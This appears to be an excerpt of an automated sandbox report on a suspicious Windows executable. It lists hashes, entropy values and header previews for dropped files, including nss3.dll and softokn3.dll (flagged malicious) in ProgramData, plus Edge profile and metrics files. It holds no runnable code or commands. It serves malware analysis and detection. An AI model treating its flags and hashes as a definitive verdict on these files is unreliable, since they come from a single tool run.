File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	450024
Entropy (8bit):	6.673992339875127
Encrypted:	false
SSDEEP:	12288:McPa9C9VbL+3Omy5CvyOvzeOKdqhUgiW6QR7t5s03Ooc8dHkC2esGAWf:McPa90Vbky5CvyUeOKn03Ooc8dHkC2eN
MD5:	5FF1FCA37C466D6723EC67BE93B51442
SHA1:	34CC4E158092083B13D67D6D2BC9E57B798A303B
SHA-256:	5136A49A682AC8D7F1CE71B211DE8688FCE42ED57210AF087A8E2DBC8A934062
SHA-512:	4802EF62630C521D83A1D333969593FB00C9B38F82B4D07F70FBD21F495FEA9B3F67676064573D2C71C42BC6F701992989742213501B16087BB6110E337C7546
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........1C.._..._..._.)n...._......._...^."._..^..._..\..._..[..._..Z..._.._..._......_..]..._.Rich.._.........................PE..L.....0].........."!.....(..........`........@......................................,.....@A.........................g.......r...........................A.......=..`x..8............................w..@............p.......c..@....................text....&.......(.................. ..`.data...H)...@.......,..............@....idata.......p.......D..............@..@.didat..4............X..............@....rsrc................Z..............@..@.reloc...=.......>...^..............@..B................................................................................................................................................................................................................................................................

C:\ProgramData\nss3.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2046288
Entropy (8bit):	6.787733948558952
Encrypted:	false
SSDEEP:	49152:fECf12gikHlnKGxJRIB+y5nvxnaOSJ3HFNWYrVvE4CQsgzMmQfTU1NrWmy4KoAzh:J7Tf8J1Q+SS5/nr
MD5:	1CC453CDF74F31E4D913FF9C10ACDDE2
SHA1:	6E85EAE544D6E965F15FA5C39700FA7202F3AAFE
SHA-256:	AC5C92FE6C51CFA742E475215B83B3E11A4379820043263BF50D4068686C6FA5
SHA-512:	DD9FF4E06B00DC831439BAB11C10E9B2AE864EA6E780D3835EA7468818F35439F352EF137DA111EFCDF2BB6465F6CA486719451BF6CF32C6A4420A56B1D64571
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!................`........................................p......l- ...@A.........................&..........@....P..x...............P/...`..\...................................................\|...\....&..@....................text............................... ..`.rdata..l...........................@..@.data...DR..........................@....00cfg.......@......................@..@.rsrc...x....P......................@..@.reloc..\....`......................@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\softokn3.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	257872
Entropy (8bit):	6.727482641240852
Encrypted:	false
SSDEEP:	6144:/yF/zX2zfRkU62THVh/T2AhZxv6A31obD6Hq/8jis+FvtVRpsAAs0o8OqTYz+xnU:/yRzX2zfRkX2T1h/SA5PF9m8jJqKYz+y
MD5:	4E52D739C324DB8225BD9AB2695F262F
SHA1:	71C3DA43DC5A0D2A1941E874A6D015A071783889
SHA-256:	74EBBAC956E519E16923ABDC5AB8912098A4F64E38DDCB2EAE23969F306AFE5A
SHA-512:	2D4168A69082A9192B9248F7331BD806C260478FF817567DF54F997D7C3C7D640776131355401E4BDB9744E246C36D658CB24B18DE67D8F23F10066E5FE445F6
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!................P...............................................Sg....@A........................Dv..S....w..........................P/.......5..8q...............................................{...............................text...&........................... ..`.rdata.............................@..@.data................\|..............@....00cfg..............................@..@.rsrc...............................@..@.reloc...5.......6..................@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\vcruntime140.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	80880
Entropy (8bit):	6.920480786566406
Encrypted:	false
SSDEEP:	1536:lw2886xv555et/MCsjw0BuRK3jteo3ecbA2W86b+Ld:lw28V55At/zqw+Iq9ecbA2W8H
MD5:	A37EE36B536409056A86F50E67777DD7
SHA1:	1CAFA159292AA736FC595FC04E16325B27CD6750
SHA-256:	8934AAEB65B6E6D253DFE72DEA5D65856BD871E989D5D3A2A35EDFE867BB4825
SHA-512:	3A7C260646315CF8C01F44B2EC60974017496BD0D80DD055C7E43B707CADBA2D63AAB5E0EFD435670AA77886ED86368390D42C4017FC433C3C4B9D1C47D0F356
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$......................08e...................................................u............Rich............PE..L...\|.0].........."!.........................................................0.......m....@A.............................................................A... ....... ..8............................ ..@............................................text............................... ..`.data...............................@....idata..............................@..@.rsrc...............................@..@.reloc....... ......................@..B................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\409fd701-3892-426f-9320-4266add8030e.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44687
Entropy (8bit):	6.094644258922663
Encrypted:	false
SSDEEP:	768:zDXzgWPsj/qlGJqIY8GB4kdEKKGf4ULmqjgjEFtdLN7DRo+yM/42cRaLMoskCioz:z/Ps+wsI7ynpN7VLyMV/YoskFoz
MD5:	903EE16BED3FD249DC1C85BE8E6BFCAB
SHA1:	4566799F9E873AD96727B9BACA3EBCCC8CFF97C2
SHA-256:	E4C9B8FB016263C3AEB9229A69AAE012AA1A3A59A13298C7F39035BD1F5AE6B6
SHA-512:	1ED6492486601401459D14676AD48575C7762F405D8A538EB986B7BB6B847F1B4D6B15FFCA1FDC50FB6860B292FABC845E50388572296D24AE03DB73155AB853
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJOray0KIOCL4cFk21LCwm0jIsXbWhuge7fO3sKot+GggT0

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\890c4016-6365-4968-8d49-56aa548944e9.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44722
Entropy (8bit):	6.09538213900257
Encrypted:	false
SSDEEP:	768:zDXzgWPsj/qlGJqIY8GB4ktEKKGf4ULmkC2sP7htt3N7DRo+yM/42cRaLMoskCiG:z/Ps+wsI7ynmN7VLyMV/YoskFoz
MD5:	96069F5D1301F1182BE3B9E2BA0E975D
SHA1:	27B539BD284F942B0D6EAF22A30AD1C1EB1C68EC
SHA-256:	194B7ED1FB112EA4E6E9764860A7E9E5230A79535A5DF9FC328D75B0A7ED176B
SHA-512:	B7886FBB61FD5A21A8E2E9E2323CB0E614882F5A6FD9C58205A25B8268AE0CEE000532CA7E3791261950ABCA28D1AC959B0A41FF799C362F234B4A516AE63F6A
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJOray0KIOCL4cFk21LCwm0jIsXbWhuge7fO3sKot+GggT0

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\90677d24-d03b-4e3a-9b74-933243eb5742.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44236
Entropy (8bit):	6.0895556475116
Encrypted:	false
SSDEEP:	768:zDXzgWPsj/qlGJqIY8GB4kdTKKGf4SZtBF1OIlPsm7DRo+yM/42cRaLMoskCioz:z/Ps+wsI7ynkt5b7VLyMV/YoskFoz
MD5:	AC95A1DE8F3CCE7BB62540F97151B388
SHA1:	1B50FDAC80980A8966304600EF0C551518BA245F
SHA-256:	EDA8E1F3714B3472EF5A54DE2FB30CD829719AD7F3EC7196F18760DB4618C731
SHA-512:	726AC40A2EF130AB2758CC5CBCCB2CCF5050534035E4B7E353285070C97FFD33E63C77FF1E4FC8A5C77C37B8A5A4C626BCA614AD9D83F04555410C495D7D93F1
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJOray0KIOCL4cFk21LCwm0jIsXbWhuge7fO3sKot+GggT0

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\BrowserMetrics\BrowserMetrics-6754DEC9-1F74.pma

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	4194304
Entropy (8bit):	0.0475822608261728
Encrypted:	false
SSDEEP:	192:ww+0m5tmRnOAUJYCAJ/7qiRDs0JVFg8XzBIbhEHsBzhEhNGMv+RQ8L/VRIn8y08s:L+0UtugAF61nhcxmHVRI08T2RGOD
MD5:	A3A7D29BBE8EA1E526F4C0E3F1428B1E
SHA1:	01EBB9F943866FA7BF726F936D4724F62A7BD5E3
SHA-256:	49EFEE9BF7C7FF79987C376142FAA1E4975DFFD0E96B485E863743C8AE8DBBAF
SHA-512:	E50E5BFB019966D9340B9FC4B49070775FC5D61427FF74DD32A5347E4CE69AB17D3DE78EF0152E32610CF3C7454569A252BE60A82031E3B7EAF33A70E791010E
Malicious:	false
Preview:	...@..@...@.....C.].....@................k...Z..............`... ...i.y.........BrowserMetrics......i.y..Yd. .......A...................v.0.....UV&K.k<................UV&K.k<................UMA.PersistentHistograms.InitResult.....8...i.y.[".................................................i.y.Pq.30..............117.0.2045.47-64..".en-GB...Windows NT..10.0.190452l..x86_64..?.......".frcoeg20,1(.0..8..B.......2.:.M....U....e...?j...GenuineIntel... .. ..........x86_64...J....k..^o..J..l.zL.^o..J....\.^o..J.....f.^o..J....?.^o..P.Z...b.INBXj....... .8.@...............................0...w..U..G...W6.>.........."....."...24.."."xDkc0HT9c2ekfj/3J+6x4yELW+Knys1OtBnWqRtJUmw=".:............B)..1.3.177.11.. .*.RegKeyNotFound2.windowsR...Z....l....'@..$...SF@.......Y@.......4@.......Y@........?........?.........................Y@.......Y@.......Y@.......Y@.......Y@.......Y@.......Y@.......4@.......Y@................Y@.......Y@.......Y@........?........?2................ ...2..........

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\BrowserMetrics\BrowserMetrics-6754DEC9-86C.pma

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	4194304
Entropy (8bit):	0.046707572643573905
Encrypted:	false
SSDEEP:	192:VSnW0m5tmRnOAUKYfJgA8x5XSggykfhtgB0NEBI8/ZeRQcD4BsWtgWn8y08Tcm2D:YW0Utuegk9h20AMH4mWP08T2RGOD
MD5:	AB35A8FFC294F6A39BDA53864D64BD22
SHA1:	280AA9BF402CC35DFD80C212C5EDA452C7134A98
SHA-256:	4179864EF093AFAF8C6A9AB558718929A3FE5D9096D4BF3EA332957AB74CD074
SHA-512:	70E2C6FF177C0241FB9670827D6F9CFF5B15A24F8C6A549F7FE2AF4F4B43FFC04169F705469DEF16D7B19D9399F8AB4F883A867C9CA9DA07CDB08021F42CEF71
Malicious:	false
Preview:	...@..@...@.....C.].....@................e...U..............`... ...i.y.........BrowserMetrics......i.y..Yd. .......A...................v.0.....UV&K.k<................UV&K.k<................UMA.PersistentHistograms.InitResult.....8...i.y.[".................................................i.y.Pq.30..............117.0.2045.47-64..".en-GB...Windows NT..10.0.190452l..x86_64..?.......".frcoeg20,1(.0..8..B.......2.:.M..BU..Be...?j...GenuineIntel... .. ..........x86_64...J....k..^o..J..l.zL.^o..J...I.r.^o..J....\.^o..J.....f.^o..J....?.^o..P.Z...b.INBXj....... .8.@...............................0...w..U?:K...G...W6.>.........."....."...24.."."xDkc0HT9c2ekfj/3J+6x4yELW+Knys1OtBnWqRtJUmw=".:............B)..1.3.177.11.. .*.RegKeyNotFound2.windowsR...Z....l....'@..$...SF@.......Y@.......4@.......Y@........?........?.........................Y@.......Y@.......Y@.......Y@.......Y@.......Y@.......Y@.......4@.......Y@................Y@.......Y@.......Y@........?........?2...............

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	280
Entropy (8bit):	4.16517681506792
Encrypted:	false
SSDEEP:	3:FiWWltlrPYjpVjP9M4UcLH3RvwAH/llwBVP/Sh/Jzv/jSIHmsdJEU9VUn5lt:o1rPWVjWZq3RvtNlwBVsJDL7b/3U7
MD5:	C847567DEE0317368C1EC824DE025887
SHA1:	554098F22FEA9282FE1AAB35560849CD6FF546B1
SHA-256:	3CF2B1CBE4F4CCFC640BCF581FD4D9FC84254D2B3839C96EA4909B61AAF28932
SHA-512:	A976744405F6ABEBFB7513A3A6A776680334BB94A9E52AEEFE2B05259BCB3CF9781B1CCDA3655D8AA4C1E923143168F29EF3208F81ABCB93AFF5215ED3798219
Malicious:	false
Preview:	sdPC.....................!...W.F....+F."xDkc0HT9c2ekfj/3J+6x4yELW+Knys1OtBnWqRtJUmw="..................................................................................47DEQpj8HBSa+/TImW+5JCeuQeRkm5NMpJWZG3hSuFU=....................8889edf7-b09d-4a45-9ea5-adabbfd01bb9............

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Last Version

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	13
Entropy (8bit):	2.7192945256669794
Encrypted:	false
SSDEEP:	3:NYLFRQI:ap2I
MD5:	BF16C04B916ACE92DB941EBB1AF3CB18
SHA1:	FA8DAEAE881F91F61EE0EE21BE5156255429AA8A
SHA-256:	7FC23C9028A316EC0AC25B09B5B0D61A1D21E58DFCF84C2A5F5B529129729098
SHA-512:	F0B7DF5517596B38D57C57B5777E008D6229AB5B1841BBE74602C77EEA2252BF644B8650C7642BD466213F62E15CC7AB5A95B28E26D3907260ED1B96A74B65FB
Malicious:	false
Preview:	117.0.2045.47

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44236
Entropy (8bit):	6.0895556475116
Encrypted:	false
SSDEEP:	768:zDXzgWPsj/qlGJqIY8GB4kdTKKGf4SZtBF1OIlPsm7DRo+yM/42cRaLMoskCioz:z/Ps+wsI7ynkt5b7VLyMV/YoskFoz
MD5:	AC95A1DE8F3CCE7BB62540F97151B388
SHA1:	1B50FDAC80980A8966304600EF0C551518BA245F
SHA-256:	EDA8E1F3714B3472EF5A54DE2FB30CD829719AD7F3EC7196F18760DB4618C731
SHA-512:	726AC40A2EF130AB2758CC5CBCCB2CCF5050534035E4B7E353285070C97FFD33E63C77FF1E4FC8A5C77C37B8A5A4C626BCA614AD9D83F04555410C495D7D93F1
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJOray0KIOCL4cFk21LCwm0jIsXbWhuge7fO3sKot+GggT0

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State~RF2352f.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44236
Entropy (8bit):	6.0895556475116
Encrypted:	false
SSDEEP:	768:zDXzgWPsj/qlGJqIY8GB4kdTKKGf4SZtBF1OIlPsm7DRo+yM/42cRaLMoskCioz:z/Ps+wsI7ynkt5b7VLyMV/YoskFoz
MD5:	AC95A1DE8F3CCE7BB62540F97151B388
SHA1:	1B50FDAC80980A8966304600EF0C551518BA245F
SHA-256:	EDA8E1F3714B3472EF5A54DE2FB30CD829719AD7F3EC7196F18760DB4618C731
SHA-512:	726AC40A2EF130AB2758CC5CBCCB2CCF5050534035E4B7E353285070C97FFD33E63C77FF1E4FC8A5C77C37B8A5A4C626BCA614AD9D83F04555410C495D7D93F1
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJOray0KIOCL4cFk21LCwm0jIsXbWhuge7fO3sKot+GggT0

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State~RF2354e.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44236
Entropy (8bit):	6.0895556475116
Encrypted:	false
SSDEEP:	768:zDXzgWPsj/qlGJqIY8GB4kdTKKGf4SZtBF1OIlPsm7DRo+yM/42cRaLMoskCioz:z/Ps+wsI7ynkt5b7VLyMV/YoskFoz
MD5:	AC95A1DE8F3CCE7BB62540F97151B388
SHA1:	1B50FDAC80980A8966304600EF0C551518BA245F
SHA-256:	EDA8E1F3714B3472EF5A54DE2FB30CD829719AD7F3EC7196F18760DB4618C731
SHA-512:	726AC40A2EF130AB2758CC5CBCCB2CCF5050534035E4B7E353285070C97FFD33E63C77FF1E4FC8A5C77C37B8A5A4C626BCA614AD9D83F04555410C495D7D93F1
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJOray0KIOCL4cFk21LCwm0jIsXbWhuge7fO3sKot+GggT0

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State~RF24329.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44236
Entropy (8bit):	6.0895556475116
Encrypted:	false
SSDEEP:	768:zDXzgWPsj/qlGJqIY8GB4kdTKKGf4SZtBF1OIlPsm7DRo+yM/42cRaLMoskCioz:z/Ps+wsI7ynkt5b7VLyMV/YoskFoz
MD5:	AC95A1DE8F3CCE7BB62540F97151B388
SHA1:	1B50FDAC80980A8966304600EF0C551518BA245F
SHA-256:	EDA8E1F3714B3472EF5A54DE2FB30CD829719AD7F3EC7196F18760DB4618C731
SHA-512:	726AC40A2EF130AB2758CC5CBCCB2CCF5050534035E4B7E353285070C97FFD33E63C77FF1E4FC8A5C77C37B8A5A4C626BCA614AD9D83F04555410C495D7D93F1
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJOray0KIOCL4cFk21LCwm0jIsXbWhuge7fO3sKot+GggT0

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State~RF24339.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44236
Entropy (8bit):	6.0895556475116
Encrypted:	false
SSDEEP:	768:zDXzgWPsj/qlGJqIY8GB4kdTKKGf4SZtBF1OIlPsm7DRo+yM/42cRaLMoskCioz:z/Ps+wsI7ynkt5b7VLyMV/YoskFoz
MD5:	AC95A1DE8F3CCE7BB62540F97151B388
SHA1:	1B50FDAC80980A8966304600EF0C551518BA245F
SHA-256:	EDA8E1F3714B3472EF5A54DE2FB30CD829719AD7F3EC7196F18760DB4618C731
